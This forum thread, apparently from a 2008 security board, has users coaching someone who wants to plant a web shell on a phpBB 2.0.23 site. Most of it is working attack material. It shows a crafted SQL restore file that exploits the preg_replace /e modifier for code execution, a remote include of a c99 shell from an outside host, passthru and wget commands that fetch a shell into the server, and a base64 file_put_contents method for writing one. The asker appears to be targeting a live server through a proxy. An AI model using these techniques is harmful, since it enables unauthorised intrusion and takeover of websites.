|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Shell phpBB 2.0.23 ??? |
|
Posted: Fri Mar 21, 2008 9:04 pm |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
Hi , how i can upload shell in CP phpBB 2.0.23
in this Version Please ,
Waraxe & koko , need help please , very important |
|
|
|
|
Posted: Sat Mar 22, 2008 2:31 am |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
Create file test.sql on your PC and put inside this code
Code: | UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2; |
Login in admin panel.Restore database.Then select browse your file test.sql and push Start Restore.After that go to your profile and you see phpinfo of the server.
After phpbb: you may put your shell.Good luck.
P.S.Tested on 2.0.23 on my local PC.Working 100%. |
|
|
|
|
Posted: Sat Mar 22, 2008 8:01 am |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
test.sql , is uploaded , but whene i Go to /forum/profile.php?mode=viewprofile&u=2
No phpinfo :s just profile of admin
So ? |
|
|
|
|
Posted: Sat Mar 22, 2008 9:01 am |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
Try to upload without prefix phpbb_. |
|
|
|
|
|
|
|
|
Posted: Sat Mar 22, 2008 10:45 am |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
thankx Koko , phpinfo() , is working , but to upload shell , not work ..
Code: | 'a:phpinfo()', '(.+)/e |
Working
Code: | 'a:include($_GET[cmd])', '(.+)/e |
Not work
Code: | forum/profile.php?mode=editprofile&cmd=http://www.google.fr
forum/profile.php?mode=editprofile&cmd=http://www.evilc0der.com/c99.txt |
Code: | Warning: include() [function.include]: URL file-access is disabled in the server configuration in /home/www/web/education/forum/includes/usercp_register.php(821) : regexp code on line 1
Warning: include(http://www.google.fr) [function.include]: failed to open stream: no suitable wrapper could be found in /home/www/web/education/forum/includes/usercp_register.php(821) : regexp code on line 1
Warning: include() [function.include]: Failed opening 'http://www.google.fr' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /home/www/web/education/forum/includes/usercp_register.php(821) : regexp code on line 1 |
not work ,so .??? help please is very important for me |
|
|
|
|
|
|
|
|
Posted: Sat Mar 22, 2008 12:44 pm |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
Code: | URL file-access is disabled in the server configuration |
passthru('pwd')
Look for opens dirs
passthru('which wget curl fetch')
uploaders
passthru('wget http://your shell.com/shell.php -O /open/dir/shell.php')
victim.com/forum/opendir/shell.php |
|
|
|
|
Posted: Sat Mar 22, 2008 1:17 pm |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
i'am not undertand what i right in file test.sql
Code: | UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='passthru(htp://victim.com/forum/opendir/shell.php)' WHERE user_id=2; |
|
|
|
|
|
Posted: Sat Mar 22, 2008 5:13 pm |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
WOW
Search in google some ebook for php and read. |
|
|
|
|
Posted: Sat Mar 22, 2008 5:45 pm |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
please Koko , i need a code complet for this |
|
|
|
|
Posted: Sat Mar 22, 2008 7:44 pm |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
Code: | passthru(wget http://site.com/shell.txt -O /home/www/site/myautorun/shell.php) |
Koko ???? |
|
|
|
|
Posted: Sat Mar 22, 2008 8:38 pm |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
Unix command?You know that is this?Why you trying to hack something without any knowledge.First test all this on your PC and then try to hack some server.This is no chlidren game's boys.Let me ask you something Kroko.Are you use proxy when you login into admin panel? |
|
|
|
|
Posted: Sat Mar 22, 2008 9:37 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Passhtrough() is not your only option. You can just write all the shell source code directly to file in target's webserver.
Example:
1. base64 encode all c99 shell source code
2. file_put_contents('/path/to/shell/c99.php',base64_decode('base64_encoded_shell_source_here'));
That's all. Why base64 encoding? It is useful, because in this case you don't have to worry about various meta characters or binary nulls or something else similar. |
|
|
|
|
Posted: Sun Mar 23, 2008 4:10 am |
|
|
kieuanh |
Regular user |
|
|
Joined: Mar 22, 2008 |
Posts: 23 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Sun Mar 23, 2008 11:20 am |
|
|
kr0k0 |
Advanced user |
|
|
Joined: Jan 26, 2008 |
Posts: 128 |
|
|
|
|
|
|
|
1- Koko :
Always proxy
2- kieuanh :
Code: | Can't locate object method "post" via package "LWP::UserAgent" (perhaps you forg
ot to load "LWP::UserAgent"?) at phpbb-r57.pl line 40. |
3- Waraxe :
Not work Error Message , and the CHAR '' not
accepted
and Thankx for all , but i need a Help
waraxe & Koko , if u want , i poste PHPinfo() here , or i send you URL in PM..??? |
|
|
|
|
Posted: Mon Mar 24, 2008 6:34 am |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
kr0k0 we give advises,we not hacking anybody. |
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 2
Goto page 1, 2Next
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|